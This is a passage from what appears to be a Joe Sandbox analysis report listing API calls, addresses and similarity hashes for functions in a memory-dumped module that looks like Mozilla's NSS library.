PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CAD1444,?,00000001,?,00000000,00000000,?,?,6CAD1444,?), ref: 6CAD0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CAD1444,?,00000001,?,00000000,00000000,?,?,6CAD1444,?), ref: 6CAD0DEC

Part of subcall function 6CAF0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CA92AF5,?,?,?,?,?,6CA90A1B,00000000), ref: 6CAF0F1A
Part of subcall function 6CAF0F10: malloc.MOZGLUE(00000001), ref: 6CAF0F30
Part of subcall function 6CAF0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CAF0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CAD1444,?,00000001,?,00000000,00000000,?), ref: 6CAD0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CAD1444,?,00000001,?,00000000), ref: 6CAD0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CAD1444,?,00000001,?,00000000,00000000,?), ref: 6CAD0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CAD1444,?,00000001,?,00000000,00000000,?,?,6CAD1444,?,?,00000000), ref: 6CAD0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CAD1444,?,00000001,?,00000000,00000000,?), ref: 6CAD0E79

Part of subcall function 6CAE1560: TlsGetValue.KERNEL32(00000000,?,6CAB0844,?), ref: 6CAE157A
Part of subcall function 6CAE1560: EnterCriticalSection.KERNEL32(?,?,?,6CAB0844,?), ref: 6CAE158F
Part of subcall function 6CAE1560: PR_Unlock.NSS3(?,?,?,?,6CAB0844,?), ref: 6CAE15B2

Part of subcall function 6CAAB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CAB1397,00000000,?,6CAACF93,5B5F5EC0,00000000,?,6CAB1397,?), ref: 6CAAB1CB
Part of subcall function 6CAAB1A0: free.MOZGLUE(5B5F5EC0,?,6CAACF93,5B5F5EC0,00000000,?,6CAB1397,?), ref: 6CAAB1D2

Part of subcall function 6CAA89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CAA88AE,-00000008), ref: 6CAA8A04
Part of subcall function 6CAA89E0: EnterCriticalSection.KERNEL32(?), ref: 6CAA8A15
Part of subcall function 6CAA89E0: memset.VCRUNTIME140(6CAA88AE,00000000,00000132), ref: 6CAA8A27
Part of subcall function 6CAA89E0: PR_Unlock.NSS3(?), ref: 6CAA8A35

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: b1f5fa664e7110db5a581be720cfad8cd354818790847977b16871ef514823ea
Instruction ID: 92fcc65920fea06603fa6e8529390556ab6dcefaeeee9e7f15494e84ba0a53be
Opcode Fuzzy Hash: b1f5fa664e7110db5a581be720cfad8cd354818790847977b16871ef514823ea
Instruction Fuzzy Hash: 3D51E6B5D002515FEB009F64DD81ABF37B8EF49218F190425ED19A7702FB31FD9986A2

Function 6CA86E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CA86ED8
sqlite3_value_text.NSS3(?,?), ref: 6CA86EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CA86FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CA86FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CA86FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CA87010
sqlite3_value_blob.NSS3(?,?), ref: 6CA8701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CA87052

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: fae929a5f8ed132efde49ff14aba014100aaa79fbbf29479baf829016fa64c8a
Instruction ID: a514dde2875f4fd99390ca8ccb1a471161a176ae8df5f3a41889baf9cef02c73
Opcode Fuzzy Hash: fae929a5f8ed132efde49ff14aba014100aaa79fbbf29479baf829016fa64c8a
Instruction Fuzzy Hash: CE6109B1E262558FEB01CFA4D9007EEB7B2AF45308F284165D415EBB51E732DC59CB90

Function 6CAF8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CAF7313), ref: 6CAF8FBB

Part of subcall function 6CAF07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA98298,?,?,?,6CA8FCE5,?), ref: 6CAF07BF
Part of subcall function 6CAF07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAF07E6
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF081B
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CAF7313), ref: 6CAF9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CAF7313), ref: 6CAF903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CAF7313), ref: 6CAF909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CAF7313), ref: 6CAF90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CAF7313), ref: 6CAF90F1

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CAF7313), ref: 6CAF906B

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CAF7313), ref: 6CAF9128

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 6e5bfb5266ddd19eb6055ba384fa5031f80c41b1efdd85ecda1346818cb4e8c1
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: C151C671A002018FEB508F7ADE44B26B3F9AF44358F194025F935D7751EB32E886CB91

Function 6CAA9C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CAA8850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CAB0715), ref: 6CAA8859
Part of subcall function 6CAA8850: PR_NewLock.NSS3 ref: 6CAA8874
Part of subcall function 6CAA8850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CAA888D

PR_NewLock.NSS3 ref: 6CAA9CAD

Part of subcall function 6CB598D0: calloc.MOZGLUE(00000001,00000084,6CA80936,00000001,?,6CA8102C), ref: 6CB598E5

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

TlsGetValue.KERNEL32 ref: 6CAA9CE8
EnterCriticalSection.KERNEL32(?,?,6CAAECEC,6CAB2FCD,00000000,?,6CAB2FCD,?), ref: 6CAA9D01
TlsGetValue.KERNEL32(?,?,?,6CAAECEC,6CAB2FCD,00000000,?,6CAB2FCD,?), ref: 6CAA9D38
EnterCriticalSection.KERNEL32(?,?,6CAAECEC,6CAB2FCD,00000000,?,6CAB2FCD,?), ref: 6CAA9D4D
PR_Unlock.NSS3 ref: 6CAA9D70
PR_Unlock.NSS3 ref: 6CAA9DC3
PR_NewLock.NSS3 ref: 6CAA9DDD

Part of subcall function 6CAA88D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CAB0725,00000000,00000058), ref: 6CAA8906
Part of subcall function 6CAA88D0: EnterCriticalSection.KERNEL32(?), ref: 6CAA891A
Part of subcall function 6CAA88D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CAA894A
Part of subcall function 6CAA88D0: calloc.MOZGLUE(00000001,6CAB072D,00000000,00000000,00000000,?,6CAB0725,00000000,00000058), ref: 6CAA8959
Part of subcall function 6CAA88D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CAA8993
Part of subcall function 6CAA88D0: PR_Unlock.NSS3(?), ref: 6CAA89AF

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: b6730cfc66ecf032d8666e2390665afb21c354be0a8519139efa385734bf346b
Instruction ID: 93324b1bc2f0c4e56e549765444cb1a05e66199158073a7af010ae3ec3e3ac3b
Opcode Fuzzy Hash: b6730cfc66ecf032d8666e2390665afb21c354be0a8519139efa385734bf346b
Instruction Fuzzy Hash: 0A5154B4A057059FDB00EFB8C2846AEBBF0BF44345F158929D8989BB10DB31E8C5CB91

Function 6CBA9EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CBA9EC0
EnterCriticalSection.KERNEL32(?), ref: 6CBA9EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6CBA9F73
EnterCriticalSection.KERNEL32(?), ref: 6CBA9FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6CBA9FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6CBA9FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6CBAA01D

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 84cb81a2873eaeb2eddab82b5084d6d99ed01f68a9c9983203d083d09c3f81f0
Instruction ID: 6c93ddfd536eba48371fcd03dbfe5fc94b42a5a68a4f946753a7b6e582766f30
Opcode Fuzzy Hash: 84cb81a2873eaeb2eddab82b5084d6d99ed01f68a9c9983203d083d09c3f81f0
Instruction Fuzzy Hash: 7751B2B2C04640DBCB209F65D48468AB7F4FF08319F15856AD89957B12E732F89ACFD2

Function 6CAB4E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAB4E90
EnterCriticalSection.KERNEL32 ref: 6CAB4EA9
TlsGetValue.KERNEL32 ref: 6CAB4EC6
EnterCriticalSection.KERNEL32 ref: 6CAB4EDF
PL_HashTableLookup.NSS3 ref: 6CAB4EF8
PR_Unlock.NSS3 ref: 6CAB4F05
PR_Now.NSS3 ref: 6CAB4F13
PR_Unlock.NSS3 ref: 6CAB4F3A

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: e853463d7bda44a025093e79764bf57ed61911ab3c2030002cfcc5d30fc6ed11
Instruction ID: bf4feab14e6f33ad66b25ad9311ce3fb13e735962fa64a080262d4937c5e0341
Opcode Fuzzy Hash: e853463d7bda44a025093e79764bf57ed61911ab3c2030002cfcc5d30fc6ed11
Instruction Fuzzy Hash: 014159B4A006059FCB00EF78D0848AEBBF4FF49754B058669EC999B710EB30E895CF91

Function 6CA9DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CA9DCFA

Part of subcall function 6CB59DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CBA0A27), ref: 6CB59DC6
Part of subcall function 6CB59DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CBA0A27), ref: 6CB59DD1
Part of subcall function 6CB59DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB59DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA9DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CA9DD62
CERT_DestroyCertificate.NSS3(?), ref: 6CA9DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CA9DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CA9DD8F

Part of subcall function 6CAB06A0: TlsGetValue.KERNEL32 ref: 6CAB06C2
Part of subcall function 6CAB06A0: EnterCriticalSection.KERNEL32(?), ref: 6CAB06D6
Part of subcall function 6CAB06A0: PR_Unlock.NSS3 ref: 6CAB06EB

CERT_DestroyCertificate.NSS3(?), ref: 6CA9DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CA9DDB7

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: b8eb91c9c85d69c9567b2cb1f21c70c96fd5d1731a578034a0fcfc6aebdb1c2f
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: EB21ACB6E121259BDF019EA5DD429DFB7F4AF05208B180024E908A7721F731E9D9CBE2

Function 6CB25F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CB2AADB,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25F72

Part of subcall function 6CA8ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CA8ED8F
Part of subcall function 6CA8ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CA8ED9E
Part of subcall function 6CA8ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CA8EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CB2AADB,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CB2AADB,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25FCC
free.MOZGLUE(?,?,6CB2AADB,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CB2AADB,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25FF4
free.MOZGLUE(?,?,6CB2AADB,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CB2AADB,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB26019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CB2AADB,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB26036

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 567e5eafbc6bcfad0d09813a190ba507797d2365f51a184b44068e68e94e0153
Instruction ID: a7a2c0a9fe3bb7f3a6c2e13ecd1c8ee542bc3aef791643336a844f98a337f73e
Opcode Fuzzy Hash: 567e5eafbc6bcfad0d09813a190ba507797d2365f51a184b44068e68e94e0153
Instruction Fuzzy Hash: 5B215CF5605B409BEB209F75DC48BD3B7A8AF45748F100828E46EC7640EB3AE01CCB92

Function 6CA93C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6CB0460B,?,?), ref: 6CA93CA9
EnterCriticalSection.KERNEL32(?), ref: 6CA93CB9
PL_HashTableLookup.NSS3(?), ref: 6CA93CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CA93CD6
PR_Unlock.NSS3 ref: 6CA93CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CA93CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA93D03
PR_Unlock.NSS3 ref: 6CA93D15

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 6d81a4317664e0050cc63b76475f3615623156d8b67256f927c605e748bcb516
Instruction ID: b68881799602300160bc4bd9a149b0c13c04ca7be168f87d2300e450e0d89eaa
Opcode Fuzzy Hash: 6d81a4317664e0050cc63b76475f3615623156d8b67256f927c605e748bcb516
Instruction Fuzzy Hash: E0112C7AE115146BDB011A74BC46CAA3A7CEB0225CB184530ED2C43711F721D8ACD6D1

Function 6CB08C10 Relevance: 10.8, APIs: 7, Instructions: 279COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB08C93

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

Part of subcall function 6CAE8A60: TlsGetValue.KERNEL32(6CA961C4,?,6CA95F9C,00000000), ref: 6CAE8A81
Part of subcall function 6CAE8A60: TlsGetValue.KERNEL32(?,?,?,6CA95F9C,00000000), ref: 6CAE8A9E
Part of subcall function 6CAE8A60: EnterCriticalSection.KERNEL32(?,?,?,?,6CA95F9C,00000000), ref: 6CAE8AB7
Part of subcall function 6CAE8A60: PR_Unlock.NSS3(?,?,?,?,?,6CA95F9C,00000000), ref: 6CAE8AD2

memset.VCRUNTIME140(?,00000000,?), ref: 6CB08CFB
memset.VCRUNTIME140(?,00000000,?), ref: 6CB08D10

Part of subcall function 6CAE8970: TlsGetValue.KERNEL32(?,00000000,6CA961C4,?,6CA95639,00000000), ref: 6CAE8991
Part of subcall function 6CAE8970: TlsGetValue.KERNEL32(?,?,?,?,?,6CA95639,00000000), ref: 6CAE89AD
Part of subcall function 6CAE8970: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CA95639,00000000), ref: 6CAE89C6
Part of subcall function 6CAE8970: PR_WaitCondVar.NSS3 ref: 6CAE89F7
Part of subcall function 6CAE8970: PR_Unlock.NSS3(?,?,?,?,?,?,?,6CA95639,00000000), ref: 6CAE8A0C

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockmemset$CondErrorWait
String ID:
API String ID: 2412912262-0
